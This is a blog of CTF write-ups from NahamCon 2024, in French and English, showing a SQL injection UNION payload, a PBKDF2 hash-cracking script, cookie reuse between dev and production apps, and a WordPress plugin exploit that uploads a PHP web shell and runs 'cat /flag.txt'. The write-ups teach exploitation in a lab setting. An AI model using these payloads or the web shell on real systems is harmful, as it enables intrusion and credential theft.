![Description du challenge](//images.ctfassets.net/hlpa8p7acp13/5afy0mjx0Qy4VjVpru5uFK/347e4fe4a8256a2b71fad5a496dd0c90/Hacker_Web_Store-Medium-1.png)

En visitant la page, je découvre un site de e-commerce, destiné au stéréotype du hacker.
Il y a 2 pages:

- `/` pour le listing des produits
- `/create` pour créer des produits
- `/admin` pour se connecter à la partie protégée par un mot de passe.

Vu qu'on pouvait facilement créer des produits, j'ai essayé de rajouter `')` à l'un d'entre eux, ce qui m'a retourné une erreur très utile pour comprendre ce qui est en train de se passer.

![Page produits avec erreur sql](//images.ctfassets.net/hlpa8p7acp13/7MmfNDVzbBL4cXki6aVCng/0174685c32a0fbea3c007cdd23241d82/Hacker_Web_Store-Medium-2.png)

L'injection suivante, après le contenu du 3ème champ, est celle qui m'a permis d'accéder aux données utilisateurs dans la base de donnée:

```sql
lord') UNION SELECT * FROM users/*
```

 - Avec `UNION` je rajoute du contenu à la commande sql existante.
 - `SELECT * FROM users` me permet de lister le contenu de la table `users`.
 - `/*` commente le reste de la ligne dans le code, pour permettre au mien de s'exécuter sans erreur.

![Hash incrackables](//images.ctfassets.net/hlpa8p7acp13/6MH5mR9HunqtN5kKl3xGBP/9c113a13e9b3286132561e7eaff4b31b/Hacker_Web_Store-Medium-3.png)

À partir de la, il ne s'agissait plus que de cracker les hash. Mais il se trouve que ce n'était pas une situation habituelle:
Avec quelques recherches, j'ai découvert que `hashcat` et `john the ripper`, 2 des outils les plus courants pour cracker des hash, avaient de multiples modes pour cracker des hash pbkdf2 sha256, mais aucune d'entre elles ne semblait fonctionner pour ce format spécifique.
Après encore plus de recherches, j'ai pu identifier les différentes parties du hash, grâce à des posts sur reddit et stack overflow:

```ruby
pbkdf2:sha256:<nombre d'itérations>$<Sel>$<hash>
```
Après avoir essayé desespérement les modes 10900, 10000, 1460, les hash continuaient de résister.

C'est à ce moment que je me rappelle que la description donnait aussi une liste de 2000 mots de passe, donc même si 600'000 itérations prendront un certain temps, ca devrait pouvoir se décoder sur ma machine.

Au final j'ai fait mon propre outil de décryption:

- crack.py
```python
import hashlib

def crack_pbkdf2_sha256_hash(password_list_file, target_hash, salt, iterations):
    with open(password_list_file, 'r') as file:
        passwords = file.read().splitlines()

    for password in passwords:
        # make PBKDF2-HMAC-SHA256
        dk = hashlib.pbkdf2_hmac('sha256', password.encode(), salt.encode(), iterations)
        print(f"Trying password: {password}")

        # match check
        if dk.hex() == target_hash:
            print(f"Password found: {password}")
            return password

    print("Password not found in the provided list.")
    return None

# détails du hash pour le compte website_admin_account, repris de la base de donnée
target_hash = "b2adfafaeed459f903401ec1656f9da36f4b4c08a50427ec7841570513bf8e57"
salt = "MSok34zBufo9d1tc"
iterations = 600000
password_list_file = "password_list.txt"

crack_pbkdf2_sha256_hash(password_list_file, target_hash, salt, iterations)
```
Je me suis assuré d'imprimer chaque mot de passe testé pour pouvoir constater visuellement l'avancement du script, comme ci-dessous:

![Mot de passe découvert!](//images.ctfassets.net/hlpa8p7acp13/2hDDhexic4ZXYqvBfztTwK/14ffd23c32d40dde59107eab565593c0/Hacker_Web_Store-Medium-4.png)

Avec ça, j'ai pu m'authentifier sur `/admin` et voir le flag:

![Flag découvert!](//images.ctfassets.net/hlpa8p7acp13/Q5G61DyBd2HHDcQPlPXhT/95d3195a2660cd7ad3a3f2f05e8d5afd/Hacker_Web_Store-Medium-5.png)
```ruby
flag{87257f24fd71ea9ed8aa62837e768ec0}
```


Le vrai défi a surtout été de cracker les hash pbkdf2_sha256, une fois l'injection sql réussie.

The-Hacker-Webstore

Le magasin des Hackers

Ce défi était le premier d'une série de 7 sur la même blackbox, et qui nous permettait d'utiliser tous les outils automatisés nécéssaires.

En se connectant au site du challenge, nous sommes redirigés sur l'url: `/app/login` , Qui montre aussi un bouton d'enregistrement. Pour enregistrer un nouvel utilisateur, cela fut plus compliqué que prévu. Déjà il n'était pas possible d'enregistrer un compte avec un domain autre que `nahamcon.ctf`. Vu que l'application envoie des confirmations d'inscription par mail avant d'activer l'accès, j'étais un peu bloqué.

![Validation nécéssaire](//images.ctfassets.net/hlpa8p7acp13/4IUITGGJnFnZJsfJQwhnuo/0118ab082ce1e3cd6dc17e71735316ba/The_Mission-Part_1-Knock_Knock-1.png)

Après plus d'énumération des composants, j'ai remarqué que `/app/logout` redirigeait sur `/dev-app`, ce qui m'a permis un nouveau pas en avant. 

![Trouver des nouveaux points de terminaison](//images.ctfassets.net/hlpa8p7acp13/2j4ZS9604vQdGFHPIPSkft/7a5ab25e281dfba692a621043300cc7a/The_Mission-Part_1-Knock_Knock-2.png)

Registering a user there proved more successful and didn’t have validation, which gave me a cookie named `dev-token`. It took me quite some time before realising that the logout option, if used on the `/app` side, would actually send a delete request for the correct cookie name for production.

![Name of the production cookie](//images.ctfassets.net/hlpa8p7acp13/3Te30ol4aXtKjC1QzshpLk/3b0c13fa668f32c9f2e16b446f99fc6d/The_Mission-Part_1-Knock_Knock-3.png)

With the correct cookie name, it was then possible to simply reuse the jwt cookie obtained on the dev-app and reuse it in the production app, by changing its name in the browser tools or burp.

```ruby
token-for-prod=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjozfQ.MVXc0x_5qMYMmU3orSxp7HfC1FOB9FXuutII-AP_eno
```
With that in hand, we now can be identified as an authenticated user in the dashboard, even though it’s unavailable for maintenance.

![Authentication successful!](//images.ctfassets.net/hlpa8p7acp13/4BwvneZ0VVLeoYeL7B5Hhf/7ac55034f455d95512618721b62e3eed/The_Mission-Part_1-Knock_Knock-4.png)

Expanding on previous findings, since we now had a username, I wanted to see his details so I visited the following and caught the flag!

```http
/app/api/me
```

![Caught the flag!](//images.ctfassets.net/hlpa8p7acp13/5V6Whu0HoKjCzcKq441uGO/2ef179ae3790d632c69cdff2ec792776/The_Mission-Part_1-Knock_Knock-5.png)
```ruby
flag{925f2f867c0f46d986979c935aafca31}
```

----------

Ce défi était l'un des 7 qui composaient le groupe de défi "The Mission", Niveau Hard.

The-Mission-part-1

La Mission Partie 1 - Knock Knock

Ceci est un autre article pour la postérité, malgré qu'il ait été résolu après la compétition.

![Description du défi](//images.ctfassets.net/hlpa8p7acp13/5F6yg8BH0HISuPVLtlS86Z/309c4a141bb242881aab6ef61b5cc49c/My_Shop_Disaster.png)

Nous avons une installation fraîche de Wordpress avec le plugin Woocommerce, pour administrer un magasin en ligne, et un autre plugin qui doit être contrôlé pour sécurité. Cela est typique d'un scénario que je rencontre fréquemment dans mon travail.

Nous avons donc le thème `twenty-twenty-four`, Woocommerce, et un plugin inconnu qui fonctionne avec Woocommerce:

![twenty-twenty-four theme by Wordpress](//images.ctfassets.net/hlpa8p7acp13/1AYaj1mJcTsqF61iQQCA8J/ee292ba015fb7f770de819989aeef8f1/My_Shop_Disaster2.png)

Assez rapidement, je trouve la page `/my-account/`, une page de connexion.

![Page de connexion](//images.ctfassets.net/hlpa8p7acp13/2jmuL8x9lLw5siLwFXKdxL/c14620118d051310354c5795a19d6a6c/My_Shop_Disaster3.png)

Vu que nous disposons des fichiers du plugin, il est temps de les explorer. Beaucoup de PHP et de lecture de documentation wordpress plus tard, l'une des première chose que j'ai découvert était la possibilité d'activer la création de nouveaux utilisateurs depuis l'un des terminaux de l'api rest du plugin, sans aucun privilège:

- challenge-custom/woo-variations/includes/class-woo-variations-rest-api.php (partial):
```php
function register_customer_registration_disable() {
        register_rest_route( 'woo-variations/v1', '/registration-disable/', array(
                'methods'  => 'GET',
                'callback' => array($this, 'registration_disable'),
                'args'     => array(
                        'data' => array(
                        'required' => false,
                        'default'  => array(),
                        )
                )
         ));
}

function registration_disable( $data ) {
        update_option( 'users_can_register', 0 );
        wp_send_json('Customer registration disabled');
}

function register_customer_registration_enable() {
        register_rest_route( 'woo-variations/v1', '/registration-enable/', array(
                'methods'  => 'GET',
                'callback' => array($this, 'registration_enable'),
                'args'     => array(
                        'data' => array(
                        'required' => false,
                        'default'  => array(),
                        )
                )
         ));
}
```
Nous pouvons voir que nous avons un terminal d'api qui peut être appelé pour 2 actions:

- registration_disable
- registration_enable

C'est à ce moment que la pratique est enfin devenue utile pour une compétition: Je venais de découvrir qu'il est possible d'utiliser `/wp-json/`, qui permet de faire une requête à l'url qui permet d'activer cette fonction du plugin Woo-Variations:

```http
http://localhost:8686/wp-json/woo-variations/v1/registration-enable
```

![Activer l'enregistrement de nouveaux clients](//images.ctfassets.net/hlpa8p7acp13/4nDhoPHAHSEl9Uv4u0cGWP/6e1a54054b6c6a780512c651d0913b89/My_Shop_Disaster4.png)

Ensuite, je me suis précipité sur `/wp-admin` par curiosité, et cette fois, au lieu d'une page de login customisée, j'ai vu le login Wordpress habituel, avec l'option pour enregistrer un nouveau client. Voici le tableau de bord client:

![Tableau de bord du client](//images.ctfassets.net/hlpa8p7acp13/12xe5VwJxpkLMkIfALsTDu/1a25bdf06303c7f0d90fd19a22a05fa4/My_Shop_Disaster5.png)

À partir de la , une autre partie du code posait problème, d'un point de vue sécuritaire:

- challenge-custom/woo-variations/includes/class-woo-variations-backend.php (partial)
```php
function check_permission() {

        if ( !current_user_can( "manage_options" ) && strpos( wp_get_current_user()->user_login, 'admin' ) === false )
        {
                 return false;
        }

        return true;
}
```
Nous pouvons voir que le code contrôle si 2 conditions sont vraies, et que le second contrôle ne fait que chercher la chaîne de caractères 'admin' dans le nom d'utilisateur de connexion. 

> La fonction strpos() trouve la première occurence d'une chaîne dans une autre châine de caractère. Note: La fonction strpos() est sensible à la casse.
> 
> https://www.w3schools.com/php/func_string_strpos.asp

La meilleure chose à tester dès maintenant, c'est de créer un utilisateur avec un nom d'utilisateur de connexion qui contient le mot 'admin' comme 'admin-starlord', ce qui m'a permis d'accéder aux fonctionnalités du back-end. J'ai essayé de changer seulement le nom d'utilisateur dans les options de profil, mais il fallait recréer un nouvel utilisateur pour que ça fonctionne:

![Le mot admin dans le nom d'utilisateur de connexion](//images.ctfassets.net/hlpa8p7acp13/5iZUASEuQo0xG0LE5PWtJJ/625be4b7905a8c86f995d9fa74a80da2/My_Shop_Disaster6.png)

La prochaine fonctionnalité intéressante est `set_gallery_picture`, parce qu'elle permet d'uploader un fichier sur cette installation Wordpress:

- challenge-custom/woo-variations/includes/class-woo-variations-backend.php (partial)
```php
public function set_gallery_picture() {

        if ( !is_admin() || !$this->check_permission() )
        {
                wp_send_json( 'Unauthorized!' );
        }

        $product_id = isset( $_POST['product_id'] ) ? intval( $_POST['product_id'] ) : 0;

        // Verify that the product exists and is a WooCommerce product
        if ( $product_id && function_exists( 'wc_get_product' ) ) {

                if ( $_FILES && isset( $_FILES['gallery_picture'] ) ) {

                        $file = $_FILES['gallery_picture'];
                        $file_type = wp_check_filetype( basename( $file['name'] ), array( 'jpg', 'jpeg', 'png' ) );

                        $upload_dir = wp_upload_dir();
                        $upload_path = $upload_dir['basedir'] . '/woo-gallery/';
                        if ( !file_exists( $upload_path ) ) {
                                wp_mkdir_p( $upload_path );
                        }

                        if (move_uploaded_file( $file['tmp_name'], $upload_path . sanitize_file_name($file['name']) ) ) {

                                $file_url = $upload_dir['baseurl'] . '/woo-gallery/' . sanitize_file_name($file['name']);

                                if (function_exists( 'wc_gallery_set_attachment_from_url' ) )
                                {
                                        $attachment_id = wc_gallery_set_attachment_from_url( $file_url, $product_id);
                                        if ( $attachment_id) {
                                                echo json_encode(array( 'success' => true, 'message' => 'Gallery picture uploaded successfully.' ) );
                                        } else {
                                                echo json_encode(array( 'success' => false, 'message' => 'Error adding attachment to product gallery.' ) );
                                        }
                                }
                                else {
                                        echo json_encode(array( 'success' => false, 'message' => 'Error adding attachment to Woocommerce product.' ) );
                                }

                        } else {
                                echo json_encode(array( 'success' => false, 'message' => 'Error uploading file.' ) );
                        }
                } else {
                        echo json_encode(array( 'success' => false, 'message' => 'No file uploaded.' ) );
                }
        } else {
                echo json_encode(array( 'success' => false, 'message' => 'Invalid product ID.' ) );
        }
}
```    

Le premier contrôle `is_admin()` peut être ignoré, car cette fonction retourne 'true' quand l'url actuel est une page qui se trouve sur la partie admin de Wordpress, donc pas besoin de privilèges supplémentaires pour uploader un fichier destiné à prendre le contrôle. Pour ce faire, l'outil de prédilection est BurpSuite, et sa fonctionalité très utile `Change body encoding`, pour automatiquement changer l'encodage au format multipart, créant automatiquement les bonnes en-têtes `boundary=` et `Content-Type:`.

![Change body encoding](//images.ctfassets.net/hlpa8p7acp13/3XFk8UHFUaQr2HhkPyNuSA/f8f10aec900bf5a6bc650e6d078a219c/My_Shop_Disaster7.png)

Mais comment utiliser cette fonction de Woo-variatons? Alors que nous utilisions le terminal api `/wp-json/v1`, cela ne marche plus cette fois-ci, car la fonction à été ajoutée en tant qu'action `wp-ajax`:

```php
public function hooks() {
        add_filter( 'getmoreplugins_get_settings_pages', array( $this, 'init_settings' ) );

        add_filter( 'plugin_action_links_' . plugin_basename( WOO_VARIATIONS_PLUGIN_FILE ), array(
                $this,
                'plugin_action_links'
        ) );

        add_action( 'admin_enqueue_scripts', array( $this, 'admin_enqueue_scripts' ) );
        add_action( 'admin_footer', array( $this, 'admin_template_js' ) );

        add_action( 'wp_ajax_associate_product_variation', array( $this, 'associate_product_variation' ) );
        add_action( 'wp_ajax_nopriv_associate_product_variation', array( $this, 'associate_product_variation' ) );

        add_action( 'wp_ajax_set_gallery_picture', array( $this, 'set_gallery_picture' ) );
        add_action( 'wp_ajax_nopriv_set_gallery_picture', array( $this, 'set_gallery_picture' ) );

        add_action( 'woocommerce_save_product_variation', array( $this, 'save_product_variation' ), 10, 2 );
        add_action( 'woocommerce_product_after_variable_attributes', array( $this, 'gallery_admin_html' ), 10, 3 );

        add_action( 'after_switch_theme', array( $this, 'remove_option' ), 20 );
                }
```
Nous pouvons donc appeler cette fonction par cette url:
```http
http://localhost:8686/wp-admin/admin-ajax.php?action=set_gallery_picture&product_id=0&gallery_picture=
```

![My Shop Disaster8](//images.ctfassets.net/hlpa8p7acp13/21Spn1qw0jHQNSkXes73LD/27ab74d12c4cf35484a65fad4a2fc46f/My_Shop_Disaster8.png)

En appelant cette url, il est possible d'envoyer une requête `POST` avec les bons paramètres pour uploader une `gallery_picture` avec BurpSuite.  Pour que la fonctionnalité `change body encoding` marche correctement, il faut rajouter une en-tête `Content-Type: x-www-form-urlencoded`, et aussi un `filename` pour mon fichier d'attaque:

```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: challenge.nahamcon.com:port
Cookie: wordpress_b1fc8e0fa54a56c9a22d3b9c2fe67c92=admin-starlord%7C1716846545%7CumCgWrWQc1muc3GhFyIJpzpPbfCUIinVqP6KEeeMKQX%7Cf3f986009f4f4d1185ed6728024ca7ed031c5a2e0d7fa2911ce0352e9f7a943b
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoUIWKzm0piFTNvbB
Content-Length: 396

------WebKitFormBoundaryoUIWKzm0piFTNvbB
Content-Disposition: form-data; name="action"

set_gallery_picture
------WebKitFormBoundaryoUIWKzm0piFTNvbB
Content-Disposition: form-data; name="product_id"

1
------WebKitFormBoundaryoUIWKzm0piFTNvbB
Content-Disposition: form-data; name="gallery_picture"; filename="starlord.php"

<?php if (isset($_GET['cmd'])) system($_GET['cmd']); ?>
------WebKitFormBoundaryoUIWKzm0piFTNvbB--
```
Le message d'erreur à changé , ce qui nous indique que le code à déjà exécuté l'étape après le premier contrôle:
```json
{"success":false,"message":"Error adding attachment to Woocommerce product."}0
```
Malgrès le contenu du message, nous savons que le fichier à été uploadé sur la machine hébergeant ce site, Il ne suffit plus que de naviguer à `/starlord.php` pour avoir accès à une interface de commande:

![Flag de test](//images.ctfassets.net/hlpa8p7acp13/6m2Zx6fxxFGyprC7YMrA1g/71443d1d3097f2feba25be9bb5177e69/My_Shop_Disaster9.png)

```http
/wp-content/uploads/woo-gallery/starlord.php?cmd=cat /flag.txt
```


Ce défi portait sur Wordpress, PHP, Woocommerce, la lecture et l'exploitation de code dans un environnement e-commerce.

Nahamcon CTF 2024

Le magasin des Hackers

La Mission Partie 1 - Knock Knock

Mon désastre au magasin